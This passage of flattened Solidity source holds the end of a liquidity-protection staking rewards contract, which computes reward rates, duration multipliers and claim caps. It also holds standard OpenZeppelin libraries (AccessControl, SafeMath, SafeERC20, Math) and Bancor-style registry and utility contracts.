program, lpStats, true); } } } /** * @dev store specific provider's pending rewards for future claims */ function _storeRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolProgram memory program, ILiquidityProtectionStats lpStats, bool resetStakingTime ) private { if (!_isProgramValid(reserveToken, program)) { return; } // update all provider's pending rewards, in order to apply retroactive reward multipliers (PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards) = _updateRewards( provider, poolToken, reserveToken, program, lpStats ); // get full rewards and the respective rewards multiplier (uint256 fullReward, uint32 multiplier) = _fullRewards( provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats ); // get the amount of the actual base rewards that were claimed providerRewards.baseRewardsDebt = _removeMultiplier(fullReward, multiplier); // update store data with the store pending rewards and set the last update time to the timestamp of the // current block. if we're resetting the effective staking time, then we'd have to store the rewards multiplier in order to // account for it in the future. Otherwise, we must store base rewards without any rewards multiplier _store.updateProviderRewardsData( provider, poolToken, reserveToken, providerRewards.rewardPerToken, 0, providerRewards.totalClaimedRewards, resetStakingTime ? _time() : providerRewards.effectiveStakingTime, providerRewards.baseRewardsDebt, resetStakingTime ? multiplier : PPM_RESOLUTION ); } /** * @dev updates pool rewards */ function _updateReserveRewards( IDSToken poolToken, IReserveToken reserveToken, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private returns (PoolRewards memory) { // calculate the new reward rate per-token and update it in the store PoolRewards memory poolRewardsData = _poolRewards(poolToken, reserveToken); bool update = false; // rewardPerToken must be calculated with the previous value of lastUpdateTime uint256 newRewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats); if (poolRewardsData.rewardPerToken != newRewardPerToken) { poolRewardsData.rewardPerToken = newRewardPerToken; update = true; } uint256 newLastUpdateTime = Math.min(_time(), program.endTime); if (poolRewardsData.lastUpdateTime != newLastUpdateTime) { poolRewardsData.lastUpdateTime = newLastUpdateTime; update = true; } if (update) { _store.updatePoolRewardsData( poolToken, reserveToken, poolRewardsData.lastUpdateTime, poolRewardsData.rewardPerToken, poolRewardsData.totalClaimedRewards ); } return poolRewardsData; } /** * @dev updates provider rewards. this function is called during every liquidity changes */ function _updateProviderRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolRewards memory poolRewardsData, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private returns (ProviderRewards memory) { // update provider's rewards with the newly claimable base rewards and the new reward rate per-token ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken); bool update = false; // if this is the first liquidity provision - set the effective staking time to the current time if ( providerRewards.effectiveStakingTime == 0 && lpStats.totalProviderAmount(provider, poolToken, reserveToken) == 0 ) { providerRewards.effectiveStakingTime = _time(); update = true; } // pendingBaseRewards must be calculated with the previous value of providerRewards.rewardPerToken uint256 rewards = _baseRewards( provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats ); if (rewards != 0) { providerRewards.pendingBaseRewards = providerRewards.pendingBaseRewards.add(rewards); update = true; } if (providerRewards.rewardPerToken != poolRewardsData.rewardPerToken) { providerRewards.rewardPerToken = poolRewardsData.rewardPerToken; update = true; } if (update) { _store.updateProviderRewardsData( provider, poolToken, reserveToken, providerRewards.rewardPerToken, providerRewards.pendingBaseRewards, providerRewards.totalClaimedRewards, providerRewards.effectiveStakingTime, providerRewards.baseRewardsDebt, providerRewards.baseRewardsDebtMultiplier ); } return providerRewards; } /** * @dev updates pool and provider rewards. this function is called during every liquidity changes */ function _updateRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private returns (PoolRewards memory, ProviderRewards memory) { PoolRewards memory poolRewardsData = _updateReserveRewards(poolToken, reserveToken, program, lpStats); ProviderRewards memory providerRewards = _updateProviderRewards( provider, poolToken, reserveToken, poolRewardsData, program, lpStats ); return (poolRewardsData, providerRewards); } /** * @dev returns the aggregated reward rate per-token */ function _rewardPerToken( IDSToken poolToken, IReserveToken reserveToken, PoolRewards memory poolRewardsData, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private view returns (uint256) { // if there is no longer any liquidity in this reserve, return the historic rate (i.e., rewards won't accrue) uint256 totalReserveAmount = lpStats.totalReserveAmount(poolToken, reserveToken); if (totalReserveAmount == 0) { return poolRewardsData.rewardPerToken; } // don't grant any rewards before the starting time of the program uint256 currentTime = _time(); if (currentTime < program.startTime) { return 0; } uint256 stakingEndTime = Math.min(currentTime, program.endTime); uint256 stakingStartTime = Math.max(program.startTime, poolRewardsData.lastUpdateTime); if (stakingStartTime == stakingEndTime) { return poolRewardsData.rewardPerToken; } // since we will be dividing by the total amount of protected tokens in units of wei, we can encounter cases // where the total amount in the denominator is higher than the product of the rewards rate and staking duration. // in order to avoid this imprecision, we will amplify the reward rate by the units amount return poolRewardsData.rewardPerToken.add( // the aggregated reward rate stakingEndTime .sub(stakingStartTime) // the duration of the staking .mul(program.rewardRate) // multiplied by the rate .mul(REWARD_RATE_FACTOR) // and factored to increase precision .mul(_rewardShare(reserveToken, program)).div(totalReserveAmount.mul(PPM_RESOLUTION)) // and applied the specific token share of the whole reward // and divided by the total protected tokens amount in the pool ); } /** * @dev returns the base rewards since the last claim */ function _baseRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private view returns (uint256) { uint256 totalProviderAmount = lpStats.totalProviderAmount(provider, poolToken, reserveToken); uint256 newRewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats); return totalProviderAmount.mul(newRewardPerToken.sub(providerRewards.rewardPerToken)).div(REWARD_RATE_FACTOR); // the protected tokens amount held by the provider // multiplied by the difference between the previous and the current rate // and factored back } /** * @dev returns the full rewards since the last claim */ function _fullRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private view returns (uint256, uint32) { // calculate the claimable base rewards (since the last claim) uint256 newBaseRewards = _baseRewards( provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats ); // make sure that we aren't exceeding the reward rate for any reason _verifyBaseReward(newBaseRewards, providerRewards.effectiveStakingTime, reserveToken, program); // calculate pending rewards and apply the rewards multiplier uint32 multiplier = _rewardsMultiplier(provider, providerRewards.effectiveStakingTime, program); uint256 fullReward = _applyMultiplier(providerRewards.pendingBaseRewards.add(newBaseRewards), multiplier); // add any debt, while applying the best retroactive multiplier fullReward = fullReward.add( _applyHigherMultiplier( providerRewards.baseRewardsDebt, multiplier, providerRewards.baseRewardsDebtMultiplier ) ); // make sure that we aren't exceeding the full reward rate for any reason _verifyFullReward(fullReward, reserveToken, poolRewardsData, program); return (fullReward, multiplier); } /** * @dev returns the specific reserve token's share of all rewards */ function _rewardShare(IReserveToken reserveToken, PoolProgram memory program) private pure returns (uint32) { if (reserveToken == program.reserveTokens[0]) { return program.rewardShares[0]; } return program.rewardShares[1]; } /** * @dev returns the rewards multiplier for the specific provider */ function _rewardsMultiplier( address provider, uint256 stakingStartTime, PoolProgram memory program ) private view returns (uint32) { uint256 effectiveStakingEndTime = Math.min(_time(), program.endTime); uint256 effectiveStakingStartTime = Math.max( // take the latest of actual staking start time and the latest multiplier reset Math.max(stakingStartTime, program.startTime), // don't count staking before the start of the program Math.max(_lastRemoveTimes.checkpoint(provider), _store.providerLastClaimTime(provider)) // get the latest multiplier reset timestamp ); // check that the staking range is valid. for example, it can be invalid when calculating the multiplier when // the staking has started before the start of the program, in which case the effective staking start time will // be in the future, compared to the effective staking end time (which will be the time of the current block) if (effectiveStakingStartTime >= effectiveStakingEndTime) { return PPM_RESOLUTION; } uint256 effectiveStakingDuration = effectiveStakingEndTime.sub(effectiveStakingStartTime); // given x representing the staking duration (in seconds), the resulting multiplier (in PPM) is: // * for 0 <= x <= 1 weeks: 100% PPM // * for 1 <= x <= 2 weeks: 125% PPM // * for 2 <= x <= 3 weeks: 150% PPM // * for 3 <= x <= 4 weeks: 175% PPM // * for x > 4 weeks: 200% PPM return PPM_RESOLUTION + MULTIPLIER_INCREMENT * uint32(Math.min(effectiveStakingDuration.div(1 weeks), 4)); } /** * @dev returns the pool program for a specific pool */ function _poolProgram(IDSToken poolToken) private view returns (PoolProgram memory) { PoolProgram memory program; (program.startTime, program.endTime, program.rewardRate, program.reserveTokens, program.rewardShares) = _store .poolProgram(poolToken); return program; } /** * @dev returns pool rewards for a specific pool and reserve */ function _poolRewards(IDSToken poolToken, IReserveToken reserveToken) private view returns (PoolRewards memory) { PoolRewards memory data; (data.lastUpdateTime, data.rewardPerToken, data.totalClaimedRewards) = _store.poolRewards( poolToken, reserveToken ); return data; } /** * @dev returns provider rewards for a specific pool and reserve */ function _providerRewards( address provider, IDSToken poolToken, IReserveToken reserveToken ) private view returns (ProviderRewards memory) { ProviderRewards memory data; ( data.rewardPerToken, data.pendingBaseRewards, data.totalClaimedRewards, data.effectiveStakingTime, data.baseRewardsDebt, data.baseRewardsDebtMultiplier ) = _store.providerRewards(provider, poolToken, reserveToken); return data; } /** * @dev applies the multiplier on the provided amount */ function _applyMultiplier(uint256 amount, uint32 multiplier) private pure returns (uint256) { if (multiplier == PPM_RESOLUTION) { return amount; } return amount.mul(multiplier).div(PPM_RESOLUTION); } /** * @dev removes the multiplier on the provided amount */ function _removeMultiplier(uint256 amount, uint32 multiplier) private pure returns (uint256) { if (multiplier == PPM_RESOLUTION) { return amount; } return amount.mul(PPM_RESOLUTION).div(multiplier); } /** * @dev applies the best of two rewards multipliers on the provided amount */ function _applyHigherMultiplier( uint256 amount, uint32 multiplier1, uint32 multiplier2 ) private pure returns (uint256) { return _applyMultiplier(amount, multiplier1 > multiplier2 ? multiplier1 : multiplier2); } /** * @dev performs a sanity check on the newly claimable base rewards */ function _verifyBaseReward( uint256 baseReward, uint256 stakingStartTime, IReserveToken reserveToken, PoolProgram memory program ) private view { // don't grant any rewards before the starting time of the program or for stakes after the end of the program uint256 currentTime = _time(); if (currentTime < program.startTime || stakingStartTime >= program.endTime) { require(baseReward == 0, "ERR_BASE_REWARD_TOO_HIGH"); return; } uint256 effectiveStakingStartTime = Math.max(stakingStartTime, program.startTime); uint256 effectiveStakingEndTime = Math.min(currentTime, program.endTime); // make sure that we aren't exceeding the base reward rate for any reason require( baseReward <= (program.rewardRate * REWARDS_HALVING_FACTOR) .mul(effectiveStakingEndTime.sub(effectiveStakingStartTime)) .mul(_rewardShare(reserveToken, program)) .div(PPM_RESOLUTION), "ERR_BASE_REWARD_RATE_TOO_HIGH" ); } /** * @dev performs a sanity check on the newly claimable full rewards */ function _verifyFullReward( uint256 fullReward, IReserveToken reserveToken, PoolRewards memory poolRewardsData, PoolProgram memory program ) private pure { uint256 maxClaimableReward = ( (program.rewardRate * REWARDS_HALVING_FACTOR) .mul(program.endTime.sub(program.startTime)) .mul(_rewardShare(reserveToken, program)) .mul(MAX_MULTIPLIER) .div(PPM_RESOLUTION) .div(PPM_RESOLUTION) ).sub(poolRewardsData.totalClaimedRewards); // make sure that we aren't exceeding the full reward rate for any reason require(fullReward <= maxClaimableReward, "ERR_REWARD_RATE_TOO_HIGH"); } /** * @dev returns the liquidity protection stats data contract */ function _liquidityProtectionStats() private view returns (ILiquidityProtectionStats) { return _liquidityProtection().stats(); } /** * @dev returns the liquidity protection contract */ function _liquidityProtection() private view returns (ILiquidityProtection) { return ILiquidityProtection(_addressOf(LIQUIDITY_PROTECTION)); } /** * @dev returns if the program is valid */ function _isProgramValid(IReserveToken reserveToken, PoolProgram memory program) private pure returns (bool) { return address(reserveToken) != address(0) && (program.reserveTokens[0] == reserveToken || program.reserveTokens[1] == reserveToken); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <=0.8.9; import "./IMintableToken.sol"; /// @title The interface for mintable/burnable token governance. interface ITokenGovernance { // The address of the mintable ERC20 token. function token() external view returns (IMintableToken); /// @dev Mints new tokens. /// /// @param to Account to receive the new amount. /// @param amount Amount to increase the supply by. /// function mint(address to, uint256 amount) external; /// @dev Burns tokens from the caller. /// /// @param amount Amount to decrease the supply by. /// function burn(uint256 amount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./Owned.sol"; import "./Utils.sol"; import "./interfaces/IContractRegistry.sol"; /** * @dev This is the base contract for ContractRegistry clients. */ contract ContractRegistryClient is Owned, Utils { bytes32 internal constant CONTRACT_REGISTRY = "ContractRegistry"; bytes32 internal constant BANCOR_NETWORK = "BancorNetwork"; bytes32 internal constant CONVERTER_FACTORY = "ConverterFactory"; bytes32 internal constant CONVERSION_PATH_FINDER = "ConversionPathFinder"; bytes32 internal constant CONVERTER_UPGRADER = "BancorConverterUpgrader"; bytes32 internal constant CONVERTER_REGISTRY = "BancorConverterRegistry"; bytes32 internal constant CONVERTER_REGISTRY_DATA = "BancorConverterRegistryData"; bytes32 internal constant BNT_TOKEN = "BNTToken"; bytes32 internal constant BANCOR_X = "BancorX"; bytes32 internal constant BANCOR_X_UPGRADER = "BancorXUpgrader"; bytes32 internal constant LIQUIDITY_PROTECTION = "LiquidityProtection"; bytes32 internal constant NETWORK_SETTINGS = "NetworkSettings"; // address of the current contract registry IContractRegistry private _registry; // address of the previous contract registry IContractRegistry private _prevRegistry; // only the owner can update the contract registry bool private _onlyOwnerCanUpdateRegistry; /** * @dev verifies that the caller is mapped to the given contract name */ modifier only(bytes32 contractName) { _only(contractName); _; } // error message binary size optimization function _only(bytes32 contractName) internal view { require(msg.sender == _addressOf(contractName), "ERR_ACCESS_DENIED"); } /** * @dev initializes a new ContractRegistryClient instance */ constructor(IContractRegistry initialRegistry) internal validAddress(address(initialRegistry)) { _registry = IContractRegistry(initialRegistry); _prevRegistry = IContractRegistry(initialRegistry); } /** * @dev updates to the new contract registry */ function updateRegistry() external { // verify that this function is permitted require(msg.sender == owner() || !_onlyOwnerCanUpdateRegistry, "ERR_ACCESS_DENIED"); // get the new contract registry IContractRegistry newRegistry = IContractRegistry(_addressOf(CONTRACT_REGISTRY)); // verify that the new contract registry is different and not zero require(newRegistry != _registry && address(newRegistry) != address(0), "ERR_INVALID_REGISTRY"); // verify that the new contract registry is pointing to a non-zero contract registry require(newRegistry.addressOf(CONTRACT_REGISTRY) != address(0), "ERR_INVALID_REGISTRY"); // save a backup of the current contract registry before replacing it _prevRegistry = _registry; // replace the current contract registry with the new contract registry _registry = newRegistry; } /** * @dev restores the previous contract registry */ function restoreRegistry() external ownerOnly { // restore the previous contract registry _registry = _prevRegistry; } /** * @dev restricts the permission to update the contract registry */ function restrictRegistryUpdate(bool restrictOwnerOnly) public ownerOnly { // change the permission to update the contract registry _onlyOwnerCanUpdateRegistry = restrictOwnerOnly; } /** * @dev returns the address of the current contract registry */ function registry() public view returns (IContractRegistry) { return _registry; } /** * @dev returns the address of the previous contract registry */ function prevRegistry() external view returns (IContractRegistry) { return _prevRegistry; } /** * @dev returns whether only the owner can update the contract registry */ function onlyOwnerCanUpdateRegistry() external view returns (bool) { return _onlyOwnerCanUpdateRegistry; } /** * @dev returns the address associated with the given contract name */ function _addressOf(bytes32 contractName) internal view returns (address) { return _registry.addressOf(contractName); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Utilities & Common Modifiers */ contract Utils { uint32 internal constant PPM_RESOLUTION = 1000000; // verifies that a value is greater than zero modifier greaterThanZero(uint256 value) { _greaterThanZero(value); _; } // error message binary size optimization function _greaterThanZero(uint256 value) internal pure { require(value > 0, "ERR_ZERO_VALUE"); } // validates an address - currently only checks that it isn't null modifier validAddress(address addr) { _validAddress(addr); _; } // error message binary size optimization function _validAddress(address addr) internal pure { require(addr != address(0), "ERR_INVALID_ADDRESS"); } // ensures that the portion is valid modifier validPortion(uint32 _portion) { _validPortion(_portion); _; } // error message binary size optimization function _validPortion(uint32 _portion) internal pure { require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION"); } // validates an external address - currently only checks that it isn't null or this modifier validExternalAddress(address addr) { _validExternalAddress(addr); _; } // error message binary size optimization function _validExternalAddress(address addr) internal view { require(addr != address(0) && addr != address(this), "ERR_INVALID_EXTERNAL_ADDRESS"); } // ensures that the fee is valid modifier validFee(uint32 fee) { _validFee(fee); _; } // error message binary size optimization function _validFee(uint32 fee) internal pure { require(fee <= PPM_RESOLUTION, "ERR_INVALID_FEE"); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /* Time implementing contract */ contract Time { /** * @dev returns the current time */ function _time() internal view virtual returns (uint256) { return block.timestamp; } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /** * @dev Checkpoint store contract interface */ interface ICheckpointStore { function addCheckpoint(address target) external; function addPastCheckpoint(address target, uint256 timestamp) external; function addPastCheckpoints(address[] calldata targets, uint256[] calldata timestamps) external; function checkpoint(address target) external view returns (uint256); } // SPDX-License-Identifier: SEE LICENSE IN 